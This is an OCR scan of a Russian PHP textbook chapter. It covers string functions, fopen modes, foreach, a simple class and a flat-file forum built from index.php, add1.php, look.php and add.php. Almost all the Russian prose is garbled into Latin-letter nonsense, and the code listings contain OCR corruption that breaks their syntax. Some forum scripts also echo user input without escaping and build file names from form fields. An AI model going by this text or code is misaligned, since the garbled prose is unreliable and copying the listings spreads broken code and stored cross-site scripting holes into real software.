HeoOs3arenpubrii mapametp $fromwhere mMoxHO 3anaBaTh, €CIIM MOUCK HY)KHO BECTH HE C
Hayana ctpoku $from, a ¢ kakoi-to Apyroit mosurmu. B 3TOM ciiydae cieayeT 3Ty MO3HITHIO
nepenats B $fromwhere. Ecnu moactpoky Haiité He ymanoch, GyHkiws Bo3Bpamaer false.
OpnHako, mpoBepsisi pe3ynbraT Bbi3oBa Strpos() Ha false - wmcmonmb3yiiTe IS 3TOTO TONBKO
orepaTop =.

3) string substr(string $str, int $from [,int $length])

Ha3nauenwe maHHON (YHKIMH — BO3BpAlllaTh yd4acTOK CTpoku PStr, HaumHas ¢
nosunuu $start u mmHo# $length. Ecam $length we 3amana, To moapasymeBaeTcs MoaCTPOKa
ot $start no xonma crpoku $str. Ecou $start Gonbie, yem [mmHa CTPOKH, WM K€ 3HAYCHHE
$length paBHO Hym0, TO BoO3Bpamaercst mycras moacTpoka. OpHaKo 3Ta (QYHKIHS MOXKET
Jenath W eIle IOBOJIBHO Moiie3Hble Bemu. K mpumepy, eciam Mbl mepenagum B $start
OTPHLIATEIBHOE YUCI0, TO OyJIeT CUUTATBCS, YTO 3TO YUCIO SBISETCS MHICKCOM IOACTPOKH,
HO TOJIbKO OTCUHMTBIBAEMbIM OT KOHIA $str (Hampumep, -1 o3HavaeT "HaYMHASI C MMOCIEIHETO
cumBoia ctpoku"). ITapamerp $length, ecam on 3aman, Toke MOKET OBITH OTPHIIATEILHBIM. B
ITOM Cllydae MOCJIEIHUM CHMBOJOM BO3BPAIICHHON MOACTPOKU OymeT cumBoi u3 $Str c
urgexcoMm $length, ompenenseMpIM 0T KOHIIA CTPOKH.

4) int stremp(string $strl, string $str2)

CpaBHUBaeT JBE CTPOKH IMOCUMBOJIBHO (TOUHEe, mobaiToBo) u BosBpamiaeT: 0, ecnu
CTPOKH MOJTHOCTBIO COBMAAOT; -1, eciu cTpoka $strl nexcukorpaduuecku menbiie $str2; u 1,
ecau, Haobopot, $strl "Gompmme" $str2. Tak kak cpaBHEHHE HAET MOOAUTOBO, TO PETHUCTP
CHMBOJIOB BITUSIET HA PE3YJIbTAaThl CPAaBHCHHIA.

5) int strcasecmp(string $strl, string $str2)

To xe camoe, uro u Strcmp(), TOabKO TMPH PabOTE HE YYUTHIBACTCS PETUCTpP OYKB.
Hanpumep, ¢ Touku 3penus 3toi pynkuuu "ab" u "AB" paBHbI.

2.3.2. OTkpbiTHE Daiina

PaGora c ¢aitnamu B PHP pasnensiercs Ha Tpu stana. CHayana ¢aiin oTKpbIBaeTcs B
HY)XHOM peXHMe, TIPH 3TOM BO3BPALIAETCS HEKOE IIeJI0€ YHCIIO0, CayXKallee HACHTUDUKATOPOM
OTKpBITOTO (aiina (meckpunrop (aima). 3aTeM HAacTaeT o4depeab KOMaHA aloThl ¢ (haiiaom
(4TeHue WM 3aMucCh, WIM U TO U APYroe), MpudeM OHU "HPUBSA3aHBI" YK€ K JAECKPHITOPY
¢aiina, a He k ero umenHH. [locie TOrO Qaiin yymie BCEro 3aKphITh (XOTS 3TO MOXKHO U HE



nenarb, nockoiabky PHP aBTOMaTHuecku 3akpbiBaeT Bce (Dailyibl MO 3aBEpIICHUM CLIEHAPUSA).
Hamnpuwmep,

int fopen(string $filename, string $mode, bool $use_include_path=false)

B npuBenenHoM mpumepe GyHKIMsS OTKphiBacT daitn ¢ umenem $filename B pexmme
$mode u Bo3BpamiaeT ecKpunTOp OTKPHITOro (aitna. Eciu ¢aiin He ObUT OTKPHIT, TO, KAK TO
npunsto, fopen() Bo3ppariaer false.

HeoOGs3arenbubiii mapamerp $use_include_path rosopur PHP o Tom, uto, ecnu 3amxano
OTHOCHUTENIbHOE UMs (Daiiyia, €ero cieayeT MCKaTh TakkKe M B CHUCKE IYTEH, HCIONIb3yeMOM
uHCTpyKImsimMu include u require. OOBIYHO 3TOT MapaMeTp HE UCTIONB3YIOT.

[Tapametp $Mode MokeT MPUHUMATH CIICIYIOIIHE 3HAUCHUS:

- I r — (aiin oTKpbIBaeTCA TOJBKO Juist uTeHus. Ecnu Qaiina He cyliecTByeT, BbI30B
peructpupyet omnoKy. Ilocne ynayHoro oTKpbITHs yKa3aTenb (ailia ycTaHaBIMBAETCS HA €ro
NepBbIA OalT, T. €. Ha HAYaJIo;

- I r+ — (baiin OTKphIBaeTCsl OTHOBPEMEHHO HA YTEHUE U 3aMUCh. YKa3aTelb TEKYIIeH
MO3UIIMKM yCTaHaBIMBAETCs Ha ero mnepBblii OaiT. Kak u nmns pexuma I, eciu Qaina He
cyliecTByeT, Bo3Bpamiaercs false. Ciieqyer oTMETHTB, YTO €ClIM B MOMEHT 3allMCH yKa3aTellb
daiina yctaHoOBJIEeH Tne-TO B cepeAuHe ¢aiiia, TO JaHHBIE 3aMUITYTCS MPSIMO TMOBEPX YiKe
UMEIOIIUXCs, a He "pa3ABUHYT" UX, MPU HEOOXOAUMOCTH yBEIIMYUB pa3mep daiina;

- I W — co3zaaer HOBBIM mycToi (aiin. Eciim Ha MOMEHT BbI30Ba yxe OblT (haidi c
TaKMM MUMEHEM, TO OH NpEIBApPUTEIbHO YHHUTOXaeTcs. B ciiyyae HeBepHO 3a/laHHOTO UMEHU
(aiina BEI30B HE BHITIOIHSETCS;

.- I W+ — aHasioruues r+, HO eciu (ailyia H3Ha4aJIbHO HE CYLIECTBOBAJIO, CO3JAET €roO.
[Tocne 3toro ¢ ¢ainoM MOXKHO paboTaTh Kak B PeKMME YTEHHs, Tak U 3anucu. Ecau ¢aiin
CYILIECTBOBAJ 10 MOMEHTA BbI30Ba, €r0 COJICPKUMOE yAAIAETCS;

- I & — OTKpBIBAeT CYIIECTBYIOMUN (aill B peKUME 3alUCU, U TPU STOM CIBUTACT
yKa3zaTelb TEKylled MO3UWLMU 3a TNocleAHuil Oait Qaitna. DTOT pexuM NOJIe3eH, €Cclu
TpeOyeTcsl YTO-TO JIONUcaTh B KOHEL yke umeromierocs ¢aiina. Bei3oB HeycneleH B ciaydyae
OTCyTCTBUS (haiina;

- I a+ — oTkpbiBaeT ¢aill B pexuUMe UTEeHUs M 3alucH, YyKaszaTenb (¢aiiia
yCTaHABIMBAETCSI Ha KOHel (ailna, mpu 3TOM colepkumoe (aiiyla He YHUYTOKAETCH.
Otnuyaercss OT 3HAYEHUS A TeM, 4TO eciu (ailla M3HAYAIbHO HE CYIIECTBOBAJIO, TO OH
co3maerca. ODTOT PEXUM TIOJIe3eH, €ClIM HEeoOXOoAMMO jomucath B (aiin (Hampumep, B
’KypHaJI), HO HEe U3BECTHO, CO3/IaH JIU yXKe TaKoi Qail.

KpOMe 9TOro, B KOHIIC JIFOOOH U3 CTPOK I, W, @, I't, W+ u a+ MOXKET HaXOJUThLCA €Ille
OJIMH HeoOs3aTeNbHbIN cUMBOI — D wim t. Ecniu yka3an b (wim He ykazaH BOOOIIE HUKAKOH ),
TO (haiin OTKpBIBAeTCs B pekuMe OMHApHOTO uTeHusi/3anucu. Eciu xe 31o t, To ms (aiina
YCTaHABJIMBAETCS PEXKUM TPAHCISALMUA CUMBOJIa MIEPEeBOJA CTPOKH, T. €. OH BOCIPUHUMAETCS
KaK TEKCTOBBIM.

2.3.3. Koncrpykuus foreach

JlaHHBIN omepaTop LUKJIA SBIISETCS HOBBIM, U MCIOJBb3yeTCs TOJbKO HaunHas ¢ PHP 4.
AnHanoruyHeiii oneparop MokHO Haitu B Perl. OH mpu3BaH ynpoCcTUTh MOCIICIOBATEIBHYIO
00paboTKy Bcex 3JIeMeHTOB MaccuBa. CyIIECTBYIOT JBE€ CHUCTEMbl CHHTAaKCHCA Ui 3TOTO
oneparopa:

Foreach (array_expression as $value) Beipakenus

Foreach (array_expression as $key => $value) Beipaskenwust

B nepBoMm ciyuyae 3HauYe€HMs IEPEMEHHBIX MacCHBa [0 OYEpEau IPUCBAWBAOTCS
nepemennoit  $value, Hag KOTOpOH NPOU3BOISATCA JAEHCTBUS. B  wWrore momydaercs
CBOEOOpPAa3HBI yKa3aTellb Ha TO WM MHOE 3HaYeHUe NIEPEeMEHHON U3 He00X0IMMOI0 MacCUBa.

Btopoii cnoco6 ananormyeH mnepBOMy, TOJBKO B 3TOM Cjydae IMOMHUMO 3HAYCHUS
NepeMEeHHON OYyJIeT ellle UCII0JIb30BAaThCs U KITI0Y, T. €. 0003HaUEHUE ATON MEePEeMEHHOM.



2.3.4. Knaccel 00bekToB B PHP

bonee ClOXXHBIM CTPYKTYPHBIM KOMIIOHEHTOM HpOrpaMMbl (IO CpPaBHEHHIO C
dbynkuueit) spisietcss o0bekT. s mpumepa Oymem paccMaTpuBaTh KiIacC OOBEKTOB Kak
paciuperue moHATUS GyHKIUUA. Y QYHKIUHA B Ka4€CTBE apryMEHTOB ObLTH NIEPEMEHHBIE, U TO
HeoOsA3aTeNbHO. Y Kjacca 0OBEKTOB B KaU€CTBE apryMEHTOB MOT'YT OBITh TOXKE MEPEMEHHbIE
(ux 0oOBIYHO HAa3BIBAIOT CBOWCTBaMHU OOBEKTa Kiacca). Ho y knacca oOBEKTOB B KadecTBE
apryMEHTOB MMEIOTCS M (YHKIHMH (MX OOBIYHO HA3BIBAIOT METOJaMH). YTPOIIECHHO MOKHO
CKa3aTh, YTO KJIACC OOBEKTOB — ATO CBA3aHHAS COBOKYITHOCTh IEPEMEHHBIX U (DYHKLINM,

B web-gokymenTax wacto mpuxomuTCs NPUMEHSATH pa3nuuHble (GOpMBI U BBOJA
II0JIB30BAaTCIIEM JAHHBIX. ITocne IICJITYKa Ha KHOIIKC OTIIPABKU JAaHHBIX HTAHHBIC OTIIPABJIAIOTCSA
B (haiin-crieHapuii 1 Tam oOpabaTeiBatoTcs. PaccMoTpum mpocrelimyio (GopMy ¢ HazBaHHEM
I10JI4 BBOAA, CaMHUM IIOJIEM BBOJA4 U KHOIIKOH AJI1 OTIIPAaBKH JaHHBIX. Knacc Taxknx O6’bCKTOB
MMpCACTAaBJICH HUIKC:

<?php

class input

{

var $nam,$act;

function form_param($nam,$act)
{
$this-> nam = $nam;
$this-> act = $act;
}
function form_input()
{
echo "<form action=$this->act>
Input <input type="text' name=$this->nam>
<input type="submit'value='Send'>
</form>";
}

b

$myinput = new input;

$myinput->form_param('user','script.php");

$myinput->form_input();

[Tocie kmroveBoro cioBa Class Bo BTOPOH CTPOKE CTOMT WUMs, KOTOPOE JaeTCsl STOMY
KJaccy, Hampumep, input. /laiee B onepaTopHBIX CKOOKaX (TPEThsl U MPEANOCTICIHAS CTPOKH)
MUIIETCs COOCTBEHHO KJIacC 0O0OBEKTOB MPOCTOl (hopMbI BBOAA JaHHBIX. Harn kiacc cocTouT u3
JBYX TIEPEMEHHBIX U ABYX (QyHKIHi. [lepeMeHHBIMH 0003HAYUM UM TIOJIsl BBOJAa — $nam u
UM CIIEHApHs, Ky/J1a BBEJCHHBIC JaHHBIC OYIyT OTIPABIATEHCS 1t 00paboTkn — $act. mena
MEPEMCHHBIX BBEJCHBI 4Yepe3 3arsITyro, IMocie KIo4eBoro ciora var. Ilepsas QyHKIus
form_param() cmyxur s npuemMa 3HaueHMH mepeMeHHBIX $nam wu  $act wusBHe.
Cunrakcudeckoe mocrpoenue $this->nam = $nam ymnporeHHO MOKHO EPEBECTU TaK: B ITOM
KTacce TEepPEeMEHHOW TMarT TMPHCBAMBAETCS BBEJACHHOE 3HAYCHHWE MepeMeHHod $nam.
AHaJIOTMYHO U JUIs BTOPOH CTPOKH.

Crnenyromass ¢pynkmus formjnputQ renepupyer B BeO-IOKyMEHTE MPOCTYIO (OpMy C
HUMEHEM TI0J1s BBOJIA, PABHBIM 3HaueHUI0 Nam. Action mst popmel OymeT paBHO 3HaYeHHUIO act.
Cunrakcuyeckoe moctpoenue $this->act osmauaer, uro B kadecTBe MMeHH action Gepercs
3HAYEHHUE MEPEMEHHO# aCt 3Toro *xe Kiacca.

YroObl mony4yuth (HopMy B BeO-JOKYMEHT U Ha JKpaH, HYXKHO, BO-TIEPBBIX, CO3/1aTh
KOHKPETHBIH 00BEKT HAIIIEro KJIacca U, BO-BTOPBIX, BBI3BATh 3TOT OOBEKT.

JIOTIOTHUM MpeyIyLIHi CIICHAPHIA CIICAYIOIIUMHI TPEMsi CTPOKAMHU B KOHIIE:



Smylnput = new Input;

$myinput->fonn_param(user'.'script.php’): $mylnput->forin_1nput():

$myinput — 3T0 WM KOHKPETHOTO 00BEKTa (IK3EMILTAP 0OBEKTA KiTacca) M3 Kiacca
input, orepaTop NEW — 3TO CHEHUATBHBIA ONEPATOP-KOHCTPYKTOP, CO3MAIOIINN KOHKPETHBIN
AK3eMILIAp 00BEKTa Kilacca.

BTopyto cTpoKy MOXKHO MEpeBECTH TakK: 3HAYCHUsS MepeMeHHbIx $nam u $act ciemyer
OpUHATH PaBHBIMH USEr u SCript.php coorBercTBeHHO. M HakoHel, TPEeThs CTPOKa —
creHepupyit ¢opmy. O1o ykazanus PHP-unrepnperatopy. 3meHsst 3HaueHUs MEPEMEHHBIX
$nam u $act Bo BTOpOit CTpOKE, MOKHO MOTYYUTh-(HOPMBI BBOJIA C Pa3HBIMHU MapaMeTpamu. Y
Bcex ¢GopM Ha3zBaHHUE OIS BBoAa OyaeT Input

2.3.5. Ilpumeps! cieHapHeB

B npuBeeHHBIX MpuMeEpax CIEHAPUEB MPOHYMEPOBAHBI CTPOKH, KOTOPBIE OTHOCATCS K
PHP-kony. HenmponyMepoBaHHBIE CTPOKH MPEACTABIAIOT co00i mpocToit HTML-kos.

JluctuHr aiina index.php nmpencraBieH HUKE.

<html><head><title>HA3BAHUE ®OPYMA</title></head>
<body bgcolor="#c0c0c0"><center>

<table height="100%" width="100%"><tr><td align=center>
<table BGCOLOR="f0Of8ff" width="90%"><tr>

<td width="20%"></td>

<td width="60%" align=center><b>

<font face="verdana" color="#ff0000">HA3BAHUE ®OPYMA</td>
<td align=right><a href="#">K caiiry</a>

</td></tr></table>

<table BGCOLOR="fOf8ff" width="90%"><tr>

<td align=center>

<H5><font face="verdana">

<?php

if(file_exists("tems.txt")){ 1-s crpoka
$t=@file("tems.txt"); 2

echo "<br>Temsl 006cyxaenust, ux ".count($t); 3
if(count($t)<5) $size=count($t);else $size=5; 4

?>

</h5></td></tr><tr><td align=center>

<form action="look.php" method="POST"> 5

<select name="t[]" size="<?php echo $size;?>"> 6

<?php

for($i=0;$i<count($t);$i++){ 7

echo "<option value=".$i.">".$t[$i]; 8

}

$kt = count($t); 9

echo"</select><br><br><input type='submit’ 10 value="TlocmoTpeTs'></form>";

Yelse{ 11

$kt=0; 12

echo"<br>HET TEM!"; 13
}

7>

</td></tr><tr><td align=center><br>
<h5><font face="verdana">HoBas Tema - naBaiite 00Cyaum ciaeayroriee:</h5>
<ftd></tr>


mailto:$t=@file(%22tems.txt

<tr><td align=center>

<form action="add.php" method="POST">

<font>Tema (mo 50 3m.) <input name="tema" type="text" SIZE=50
MAXLENGTH=55>

</td></tr></table>

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center>

Wwmst (mo 30 3H.) <input name="nam" type="text" SIZE=25 MAXLENGTH=35></td>

<td align=center>Email <input name="mail" size=25 type="text"></td>

<[tr></table>

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center>

Tekcr 6azoBoro coobmienus (10 900 3H.)<br>

<textarea name="mes" rows=10 cols=60 ></textarea>

</td><tr><td align=center><br>

<input name="N" type="hidden" value="<?php echo $kt;?>"> 14

<input name="add" type="hidden" value="ts"> 15

<input type="reset" value="Ouunctuts">

<input type="submit" value="OtnpaButh B popym">

<[form></td></tr></table></td></tr></table></body></htmI>

daiin index.php - ecnmm tem o6cyxaenus Her, To ycioue ctpoku 1 (file_exists (
«tems.txt»)) He BBITIOJIHICTCS, U CTPOKH Kojaa 1o 11-if mpomyckarotcs PHP-uHTepripeTaTopoMm.
B 12-ii ctpoke 0oOBsBIsieM MepeMeHHYI0O — KomudecTBo TeM ($kt) m mpucBamBaem eif
snadenne 0. B 13-it ctpoke BEIBOAUTCS COOOIIEHHE 00 OTCYTCTBHH TE€M, KOTOPOE BITUCHIBACTCS
B HTML-xon. B 14-ii ctpoke ckpeiToii mepemeHHo N mpucBamBaetcs, ¢ momorisio PHP-
Bkparutenust B HTML-kox, 3Hauenue, paBaoe konudectBy TeM ($Kt), To ects 0. Ecnu ycimoBue
B CTpOKe 1 BBIMOTHSIETCS, CYNTHIBAEM Ha3BaHHsI TeM B MaccuB $t, 1 Torma B cTpoKe 3 BHIBOJUM
Ha 9KpaH COOOIICHHE O HAIMYHAU TEM M WX KoJudecTBe. COUNt($t) - KONMMYIECTBO >IEMEHTOB
MaccuBa $t B TOYHOCTH COBMAZAET C KOJIMYECTBOM TeM. B cTpoke 6 ykaspiBaeM, 4TO HUMS
komrioHeHTa Select sBnsiercs maccuBoM. DTO moTpeOyercss Ui TPOCTOW M KOPPEKTHOM
nepenavyn BeiOpanHoro 3Ha4YeHus u3 Select B PHP-cuenapuii. BricoTy okHa ycraHaBIuBacM
paBHO# 3HaueHuto $size, chopmupoBanHoro B 4-it cTpoke. B 7-i u 8-if cTpokax ¢ MOMOIIBIO
muKiIa co3mpaeM okHo Select m 3amomnsiem ero cozepxkumbiM (aiina tems.txt. B xadectBe
3HAYeHUs Ui cocTaBistonmx Option ycraHaBiMBacM HOMEp Iara NUKiIa. B naHHOM ciydae
ATOT HOMEP OyZIeT COOTBETCTBOBATh MHJICKCY AJIEMEHTa MaccuBa. HamoMHUM, 94TO WHACKCAIIHS
AJIEMEHTOB MacCHUBa HaUMHAETCs ¢ HyJs. B 9-if cTpoke ycTaHaBnmBaeM 3HAYCHHE TIEPEMEHHOMN
komuuecTBa TeM ($Kt) paBHbIM pazmepHocTH MaccuBa count($t). Knomka Submit co 3nauennem
«OTnpaButh B popym» B HIXKHEH (hopme oTrnpasiseT k dairy-ciienapuro add.php, nepenasas
eMy MepeMeHHYo- yaocropepenue ¢ umeneM add. Kuomka Submit co 3Hauenuem «OTmpaBuUTh
B popym» otmpasisier K (ainy-cuenaputo addl.php, nepenaBas eMy nepeMeHHYI0 C UMEHEM
add.

Jluctunr daiina add1l.php npencrasiieH HUXe.

<?php
if ((isset($_POST['add]))&&($_POST['addT=="t")){
echo"<html><title>/lo6aBnenue mo Teme</title><body>";
if ('fempty($_POST['nam]))$tn=$_POST['nam'];else $tn="MisterX’;
if ('lempty($_POST['mail))$te=($_POST['mail']);else $te="ue BBENEH',
if (lempty($_POST['mes’))$t2=($_POST['mesT);else {
exit("'<table cellspacing='5' cellpadding='5" width="100%" height="100%">
<tr><td><center><H3>He BBeneno coobmenue!</h3><br>
<INPUT TYPE="button' VALUE="HA3A/I' onClick="history.go(-1)">



</td></tr></table>");

}

if (("fempty($_POST['N17))||($_POST['N17==0))$N1=($_POST['N1T);else{

exit("<center>Heono3nannas ommuodka! [TonpoOyiite emé pas!<br>

<br><a href="index.php'><H4>Hazan</h4></a>");

}

$N1++;

$dat = date(""d m y H:i");

$km = file("n".$N1.".txt");

$km[0]++;

$fp = @fopen("n".$N1.".txt","w");

fputs($fp,$km[0]);

fclose($fp);

$fp = @fopen("m". $N1.".txt", "a");

fwrite ($fp, " ".$dat." mumer ".$tn." Email ".$te."\n ".$t2."\n\n");

fclose ($fp);

exit("<table cellspacing='5' cellpadding='5" width="100%'" height="100%">

<tr><td><center><H3>Bame coobmenne ycnento 3arpyxeso!</h3>

<br><a href="index.php><H4>HA ®OPYM</h4></a></td></tr></table>

</body></htmI>");

}

?7>

daiin addl.php - mepBoit cTpoke MPOBEPSETCS CKPBITas MEPEeMEHHAS-YI0CTOBEPEHUE,
TOJILKO TIpU €€ HAJIMYUU U BEPHOM 3HAUYECHHHM OYIET BBIMOIHATHCA 3TOT cueHapuid. [locme
YCIIOBUSL CTOSIT ONepaTOpHbIE (PUTYpHBIE CKOOKH, B KOTOPBIE 3aKIIOUEH BECh OCTAIBHOW KOJI.
Bo BTOpOii cTpoke BeIBOAMTCSA cTaHAapTHBIA HadanbHbd HTML-koa. C 3-i mo 8-to cTpokm
MpoBEpsIeTCs. BBOJ MOJIb30BaTeNleM HMHPOpManuu. Ecnu Ha3BaHWe TeMBl WU COOOIICHHE HE
BBEJICHBI, BBIIIOJHEHHE CLIEHApHUs 3aBEPIIACTCs, U MOJIb30BATENIO BBINAIOTCS COOOLICHUS 00
ommrOKe C BO3MOXXHOCTHIO BEPHYTHCS NMPHU MOMOIIM KHOIMKH Ha3aja JJIsl TOBTOPHOTO BBOJA
naHHBIX. B cTpoke 8 Toke mpoBepsieTcsl cKpbiTas mepemeHHas N, KoTopas CcomepKuT
WH(MOPMAIIMIO O KOJIMYECTBE T€M, U TOCKOJBKY OHA, B MPUHIIMIIE, MOXKET PaBHATHCS HYIIO,
yCIIOBHE BBICTABIEHO cocTaBHOE. OHO COCTOMT U3 JBYX YCJIOBUH, COCAMHEHHBIX JIOTHYECKHM
onepatopom WJIN. B PHP on 3anuceiBaercs cumBosioM «||». CocTaBHOE YCIOBHE 3BYYHUT TaK:
eclli TepeMeHHasi He mycTas win paBHa Hymwo. [lepemennas N mepenaercs cueHapuio u3
¢aitna index.php manpsmyro. Ee orcyrcTBue nmbo cBsizaHo ¢ ommbOkoi Web-cepsepa, 6o
oOyCJIOBJICHO TpUYMHAMHU HEIITATHOTO Xapakrepa. B mo0oMm cioydae nanbHeHIee
BBITMIOJTHEHNE CIICHApHsl HEBO3MOXKHO. [loaTomy crieHapuii 3aBepiiaeTcs, W IOJb30BaTENb
MOJTy4aeT COOTBETCTBYIOIIEE YBEJAOMIICHHE C THIEPCCBUIKOW JUIsi BO3BpaTa K MCXOJIHOM
crpanuiie. B 9-it m 10-i cTpokax yBenuumBaeM Ha 1 3HadeHue kojmuectBa TeM ($N++) u
BHOCHM TEKYIYIO 1aTy W Bpems B mepemennyio $dat. B crpokax 11-13 oTkpeiBaeM daiin
tems.txt u mo0OaBisieM B HETO TEKCT Ha3BaHMsI TEMBI M3 ITepeMeHHo# $tema.

Atpudyrom Action dopmer B daiine index.php smusercs ¢aiin look.php. Jluctuar
daiina look.php mpencrasnen Hmxke.

<htmI><head><title>Tema</title></head><body bgcolor="#c0c0c0">

<table height="100%" width="100%"><tr><td align=center>

<?php

if (isset($_POST['t]))$n = $_POST['t'];else exit("Tema ne BoiOpanal!<br>
<br><INPUT TYPE="button' VALUE="HA3A/' onClick="history.go(-1)">");
$nl = $n[0];

$N = $n[0]+1;



7>

<center><table BGCOLOR="fOf8ff' width="90%"><tr><td width="20%"></td>

<td width='60%" align=center><b>

<font face="verdana' color="#ff0000'>HA3BAHUNE ®OPYMA</td>

<td align=right><a href="#'>K caiiry</a></td></tr></table>

<table BGCOLOR="fOf8ff' width="90%">

<tr><td align=center>

<font face="verdana">

<?php

$ts=file("tems.txt");

$tn = file("n".$N.".txt");

echo"<br><b>Tewma: $ts[$nl]</b><br>"."</font>

<br>Ectp Takue MHeHUs 110 3TOM Teme, ux $tn[0]";

7>

</td></tr></table>

<table BGCOLOR="fOf8ff" width="90%"><tr><td>

<center><TEXTAREA ROWS=15 COLS=60>

<?php

$t=file("m".$N.".txt");

foreach ($t as $line)

echo $line;

7>

</TEXTAREA>

</td></tr></table>

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center><br>

<form action="index.php" method="POST">

<H5><input type="submit" value="BepuyTbcs k TeMam'">

<font face="verdana" color="#0000ff">w1u Hrxe nob6aBUTH K dTOM TeMe:.</h5>

</form>

</td></tr></table>

<table BGCOLOR="f0f8ff" width="90%"><tr><td align=center>

<form action="addl1.php" method="POST">

Nwms (mo 30 3H.) <input name="nam" type="text" SIZE=25
MAXLENGTH=35></td></tr>

<tr><td align=center>Email <input name="mail" type="text"></td>

</tr></table>

<table BGCOLOR="fOf8ff" width="90%"><tr>

<td align=center>

<table width="100%"><tr><td align=center>

JHo6aBnenue k 3toit Teme (10 900 3H.)<br>

<textarea name="mes" rows=10 cols=50 ></textarea>

</td></tr></table>

</td><tr><td align=center><br>

<input name="N1" type="hidden" value="<?php echo $n[0] ;?>">

<input name="add" type="hidden" value="t">

<input type="reset" value="Ouuctutp">

<input type="submit" value="Ornpasuts B hopym">

</form>

<[td></tr></table>

<ftd></tr></table>

</body>



</html>

Pesynbrat BeimonHenus ¢aiina mnpeacrasieH Ha puc 1

HA3BAHUE ®OPYMA K canty

=~

HoBasi TeMa - gaBaiTe 06CcyanM creaytollee:

Tema (po 50 3H.) |

Nma (po 30 3H.) |

Email |

Tekct 6a3oBoro coobuieHms (a0 900 3H.)

Ounctutb | OTnpaBuTb B hopym

s

Puc. 1. Bun rnaBHo# cTpaHulbl popyma npu OTCYTCTBUHU TEM

PesynbpraT ycnemHoro nqo0aBieHUst TeMbl TpecTaBieH Ha PucyHok 2.2:

“HoBasa Tema gna obecyk aeHMA - Opera

Taan Mpaeka Bra 3aknagsa BuagweTsl VHcTpymenTel Cripaeka

« e v o DS @ L hpfmstuca.ny/I071122/forum/add_topic php ? |~ 60

Ycenemsxo

Tema Tro tawoe K3C7 brna gobaenena B concok obCyEIacMEX TEML

Puc. 2. Bua riaBHOM CTpaHUIBI TP YCTIEITHOM JOOABICHUN TEMBI



Hwxe npuBenen BapuaHT Tekcta ckpunrta add.php ¢ mpoBepkoit KOPPEeKTHOCTh aJIpecoB
AJEKTPOHHOM MOYTHI:

1 <html>

2 <head><title>HoBoe coobmenue</title></head>

3 <body>

4 <?php

5 if( lisset($_POST['topicNum']) || tis_numeric($_POST['topicNum1) )

6 {?><h1>Ommbka</h1><span style="color:red">Bamie coobmenue He ObLTIO
7 mob6aBieHo.</span>

8 <h2>TIpuunna</h2>He BriOpaHa Tema coobmieaus.<br /><br />

9 Ocraéres Tonpko BepHyThes <a href="look.php">Ha rimaBuyo</a> crpanuiy.
10 <?php

11}

12 else if( lisset($_POST['mes) || empty($_POST['mesT) )

13 {?><h1>0Ommbka</h1><span style="color:red">Barmie coobmienne He 100aBICHO.
14 </span>

15 <h2>IIpuunna</h2>TekcT coOOIIEeHUS HE MOXKET OBITh MycThIM.<br /><br />
16 Bor moxeTte BepHyThes <a href="look.php?topicNum=<?php

17 echo $ POST['topicNum']?>">k teme</a>

18 u mompoboBaTh emié pa3.<?php

19}

20 else if(tfempty($_POST['mail']) &&

21 leregi("[\._a-zA-Z0-9-]+@[\.a-zA-Z0-9-]+\.[a-z]{2,6}",$_POST['mail1,

22 $regs))

23 {7><h1>0Ommbka</h1><span style="color:red">Bamie coobuienne He 100aBICHO.
24 </span>

25 <h2>TIpuunna</h2>

26 JloctaBka 3JIEKTPOHHBIX COOOIICHHI Ha yKka3aHHBIN Bamu aapec &It;<?php echo
27 htmlspecialchars($_POST['mail']) ?>&gt;

28 He npeacTaBisgeTcs Bo3MoxkHOM. <br /><br />

29 Brl moxeTe BepHyThes <a href="look.php?topicNum=<?php

30 echo $_POST['topicNum']?>">k reme</a>

31 u nonpoboBaTs emé pa3.<?php

32}

33 else

34 {

35 $who = empty($_POST['nam']) ? "<uexrto>": $ POST['namT;

36 $when = date("F j, Y, g:i a");

37 $email = empty($_POST['mail]) ? "<6e3 moursr>" : $regs[0];

38 $message =$ POST['mes'];

39 $topicNum = intval($_POST['topicNum');

40 $f = fopen("m$topicNum.txt","a");

41 $posted = str_replace("\n","",nI2br(htmlispecialchars(

42 "$who <$email> $when mumer:\n$message™)));

43 fwrite($f,$posted."\n");

44 fclose($f);

45 7>

46 <h1>Ormnpasneno</h1>

47 <?php echo $posted ?><br /><br />

48 Ber MoskeTe ceiiuac BepHyThes <a href="look.php?topicNum=<?php



49 echo $_POST['topicNum'] ?>">na rnaBuyro</a>

50 cTpanuny ¢opyma - 1 IPOCMOTPETH JOOABIEHHOE COOOIIEHNE B KOHTEKCTE
51 obcyxaeHusl.

52 <?php

53}

54 7>

55 </body>

56 </html>

[TpuBen€HHbBIN ClIeHApHi JOMUCHIBaeT HOBOE coobienue B (aiia MN.iIxt (ctpoka 40),
rie N o0Oo3Hadaer HOMEp BBIOpaHHON Tembl. HemocpeacTBeHHO m00aBiIEHHE COOOIICHUS
npoucxomut B crpoke 43. [lpeaBapurensHo mobaBisiemMoe cooOmeHne GopmaTupyeTcs
(ctpoka 41) — mpu 3TOoM creranbbie cuMBOJIBI HTML 3aMeHstoTcss MX «0e30IacHBIMUY
obo3nauenusmu (pyukus htmlspecialchars), mepeBoasl cTpok 3amensirorcss terom <br/>
(pynxmms nl2br).

B cnydae, ecnu He ykazaHO MMl MOJIB30BATENS WIIM QJPEC €r0 DJIEKTPOHHOW MOYTHI,
COOTBETCTBYIOIINM MEPEMEHHBIM TPUCBAUBAIOTCS 3HAYEHUS 110 YMOIUYAHUIO (<HEKTO> U <0e3
MOYTH™> COOTBETCTBEHHO). [laHHBIN ClieHApUil OCYIIECTBISET MPEIBAPUTENbHBIA KOHTPOIb
napameTpoB omnepanuu. B crpoke 5 mpoepsieTcs, 4To il 100aBIIEMOr0 COOOIICHUS YKa3aH
HOMEp TeMbl, B 12-ii cTpoke — 4TO cooOIIeHne 3amaHo W HemycTo, B 20-i cTpoke — MpH
yYKa3aHUHU aJjpeca FIEKTPOHHOUN MOYTHI —

MPOBEPSIETCST  €r0  COOTBETCTBHE  (GOopMaTy  aapecoB  DIEKTPOHHOW  TOYTHI
(COOTBETCTBYyIOIIEE peryisipHOe BhIpakeHne umeer Bui: "[\._a-zA-Z0-9-]+@[\.a-zA-Z0-9-
1+\.[a-z]{2,6}").

B cnydae, ecnu nepenaHHble JaHHbIE HE MPOXOAST XOTA Obl OJHY M3 IPOBEPOK —
BBIIAETCS COOOIICHNE O HEBO3MOKHOCTH JOOABICHHUS COOOIIEHUS — C OOBSICHEHHEM MPUYUH.
